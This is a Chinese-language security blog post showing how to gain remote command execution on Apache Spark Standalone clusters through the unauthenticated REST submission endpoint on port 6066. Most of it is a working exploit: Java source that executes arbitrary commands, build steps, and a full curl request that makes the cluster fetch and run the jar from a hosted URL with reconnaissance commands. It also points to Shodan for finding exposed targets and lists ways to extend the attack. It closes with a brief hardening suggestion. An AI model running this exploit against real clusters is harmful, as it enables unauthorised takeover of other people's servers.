aRe00t, https://weibo.com/xyzfan, 数据分析师, 新浪安全.
目前在大数据的生态圈中, Spark 以其优异的性能和丰富的功能, 已成为最流行的大数据分布式处理框架之一. 虽然 Spark 在安全方面做了不少工作, 可是由于配置不当, 仍会导致一些安全问题. 本文发现了一种通过 Spark 远程执行命令的方法, 该方法的利用难度很低, 可使攻击者很容易拿到服务器权限.
引言
Spark 是一种分布式计算框架, 通常部署在多台机器上, 但也可单机部署. 集群内的进程主要分为两种角色: master 和 slave. 下图中的 Cluster Manager 即为 master, 每个 Worker Node 是一个 slave.
搭建 Spark 集群最简单的模式为: Spark Standalone, 本文也只在该模式下进行了实验.
使用默认配置运行集群后, Web UI 会运行在 master 的 8080 端口上. 下图是在 Shodan 上找到的一个 Spark 集群, 请留意红框中的 REST URL, 我们后面后用到.
该集群有 4 个 woker 进程, 分别跑在 4 台机器上. 每个 worker 分配了 2 个 CPU 和 1 GB 内存, 是一个规模较小的集群.
默认配置下, 我们可从任意机器提交代码到集群, 提交后的代码有两种部署方式, 区别如下.
| 部署方式 | 运行机制 |
|---|---|
| client | Driver 运行在提交代码的机器上 |
| cluster | Driver 运行在集群内的某个 worker 上 |
这里可将 driver 简单的理解为我们提交的代码, 具体含义和相关内容请见:
https://spark.apache.org/docs/latest/submitting-applications.html
https://spark.apache.org/docs/latest/cluster-overview.html
方法
前提条件
- Standalone 模式部署的 Spark 集群.
- Master 的 REST URL 可访问.
步骤
- 将恶意 jar 包发布到 master 可访问的地方, 例如 HTTP 服务器.
- 向 REST URL 提交用 cluster 模式运行该 jar 包的请求.
- 通过 Web UI 观察命令执行结果.
代码
Jar 包中只有一个代码文件, 用于执行通过参数传入的命令.
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds = args[0].split(",");
for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
打包 (JDK 1.8)
javac Exploit.java
jar cf Exploit.jar Exploit.class
提交至 Spark 集群
curl -X POST http://1.1.1.1:6066/v1/submissions/create \
--header "Content-Type:application/json;charset=UTF-8" \
--data '{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.2.0",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://1.1.1.1:6066"
}
}'
代码已传至: https://github.com/aRe00t/rce-over-spark
结果
命令执行结果可在 Web UI 中找到
-
在页尾找到 Completed Drivers, 单击相应 worker 的链接.
-
在新页面页尾找到 Finished Drivers, 单击相应的 stdout.
-
在新页面中可看到命令执行结果.
如果是用 root 运行的 Spark 集群, 则可直接拿到 root shell.
总结
本文只测试了 2.2.0 版本, 但远程提交机制很早就存在了, 该方法可能也适用于之前的版本.
Spark 的远程提交机制给开发者提供了部署代码的便利性, 但如果不加限制的将接口暴露给所有人, 则会增加集群的安全风险. 通过 Shodan 或 ZoomEye 可发现有不少这样的集群, 建议集理员设置相关的访问控制策略.
将来的工作
- 如果服务器有多个网卡, 6066 默认开在内网网卡上, 如何利用公网的 8080 和 7077 提交代码?
- Driver 会被随机分配到某个 worker 上, 如何将恶意代码放进 application, 从而一次提交就可在所有 worker 上执行?
- YARN, Mesos 的集群部署方式如何利用?
- Flink/Storm/Heron 等可远程提交代码的分布式计算框架, 是否有同样的问题?
